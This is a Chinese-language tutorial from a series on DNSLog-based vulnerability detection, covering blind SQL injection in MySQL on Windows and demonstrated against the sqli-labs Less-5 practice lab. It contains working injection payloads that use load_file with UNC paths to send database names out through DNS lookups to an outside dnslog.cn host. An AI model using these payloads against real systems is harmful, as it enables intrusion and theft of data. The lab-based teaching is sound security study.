DNSLog漏洞探测(七)之SQL注入漏洞实战
在前面的文章之中,我们已经学习了XSS、RCE、XXE、SSRF漏洞中有关于DNSLog平台的使用。这些漏洞本身在执行时就有解析URL地址,发起网络请求的操作,所以只要我们把DNSLog平台获取的子域名地址发送到存在漏洞的服务器上,就会产生DNSLog的解析记录,这样就可以证明该漏洞的存在。
本文我们来学习有关于DNSLog平台有关于SQL注入的利用方式,SQL注入在DNSLog的利用中和XSS、RCE、XXE、SSRF这些漏洞不同,在SQL注入无回显的情况下,我们可以通过DNSLog平台的利用去外带出一些数据库的信息
MySQL load_file函数
在 MySQL 数据库中 load_file函数是用来读取文件的函数,以下是在各系统中读取相应文件的SQL语句
#Windows系统
select load_file('C:/Windows/system.ini');
#Linux系统
select load_file('/etc/hosts');
如果想要在MySQL 数据库读取相应的文件则需要以下的条件:
- 需要读取的文件在数据库本机
- 用户对文件要有允许访问的权限
- 需要读取的文件的大小要小于max_allowed_packet,否则返回NULL
以下是现版本数据库中有关于max_allowed_packet的大小限制,一般默认情况是32MB大小
secure_file_priv参数
在MySQL 数据库中除了读取文件的操作,还有写入文件的操作。在MySQL 数据库中读写文件都受到secure_file_priv参数的限制,在在MySQL 数据库中secure_file_priv的参数有三种类型,当secure-file-priv=""时,我们可以对任意文件执行导入导出的命令
值 | 类型 |
---|---|
secure-file-priv=“” | 没有任何限制(不安全) |
secure-file-priv=“具体文件夹” | 只能在指定的文件夹导入导出 |
secure-file-priv=NULL | 不允许导入导出 |
我们可以在MySQL 数据库中使用以下语句查询该参数的类型
show variables like '%secure_file_priv%';
DNSLog注入步骤(仅支持Windows的MySQL)
首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 9asrrv.dnslog.cn
然后将需要读取的文件替换为DNSLog平台获取到的子域名地址,这里需要注意的是经过转义之后是\\,是Windows系统里常用的UNC路径的格式,而后面的 /test 是必须要写的,它代表着UNC路径里一个文件夹的名字,当然文件夹的名字可以随你怎么取都行,总而言之正确的格式就是这样。整条语句的意思就是取读取一个文件夹,我们在UNC路径中添加了DNSLog平台的地址,让这条语句在执行时能够去访问我们的DNSLog平台,从而产生解析记录
#原始的payload
select load_file('xxxxx.dnslog.cn/test');
#本文所使用的payload
select load_file('9asrrv.dnslog.cn/test');
接下来我们去执行相应的语句
现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录
那么这样子就说明如果我们在碰到SQL注入漏洞无回显的情况下,这样我们把这样的语句拼接在有SQL注入漏洞参数的提交点上,不论是get还是post请求,只要服务器执行了这个语句,并在DNSLog平台产生DNSLog解析,就能够证明该漏洞存在。
接下来我们用 sqli-labs的靶场来做个演示,实验中用到的 sqli-labs 靶场是 sqli-labs的第五关
当我们的参数 id = 1 时页面显示正常,但当我们把参数改为 id = 1‘ 时页面产生了报错
当我们将参数修改为 id = 1’ --+ 时页面显示正常
当我们执行了这样的语句时,我们可以判断这里存在SQL注入漏洞,但是它并没有将相关的数据给我们回显出来,这也就是我们常说的SQL注入漏洞无回显的情况,针对这种情况,我们一般是使用盲注的情况用来解题的,但是本文就来教大家如何利用DNSLog平台解决SQL注入漏洞无回显的情况,并且去外带出SQL数据库一些信息出来
首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 900ind.dnslog.cn
然后向存在SQL漏洞的注入点提交以下的payload
#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('','database()','.xxxxx.dnslog.cn/wuya'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////','database()','.900ind.dnslog.cn/wuya'))),1,0) --+
现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把当前数据库的库名一并爆了出来
如果我们想要查询第二个数据库的库名,便可以使用以下的语句去查询
#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.xxxxx.dnslog.cn/test'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////',(select schema_name from information_schema.schemata limit 1,1),'.900ind.dnslog.cn/wuya'))),1,0) --+
向存在SQL漏洞的注入点提交payload
现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把第二个数据库的库名一并外带了出来
总之利用DNSLog平台解决SQL注入无回显的思路就是这么一种思路,至于其如何利用的相关语句就由各位师傅们自由发挥了